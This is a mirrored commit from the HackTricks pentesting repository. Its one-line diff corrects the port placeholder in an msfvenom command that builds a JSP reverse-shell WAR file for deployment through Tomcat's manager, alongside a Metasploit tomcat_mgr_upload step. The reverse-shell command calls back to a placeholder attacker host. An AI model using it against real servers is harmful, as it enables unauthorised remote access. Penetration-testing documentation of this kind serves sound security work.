mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Update README.md
This commit is contained in:
parent
e93f570aa9
commit
60d09e18e3
1 changed files with 1 additions and 1 deletions
|
@ -156,7 +156,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
1. Create the war to deploy:
|
||||
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
|
||||
```
|
||||
|
||||
2. Upload the `revshell.war` file and access to it (`/revshell/`):
|
||||
|
|
Loading…
Reference in a new issue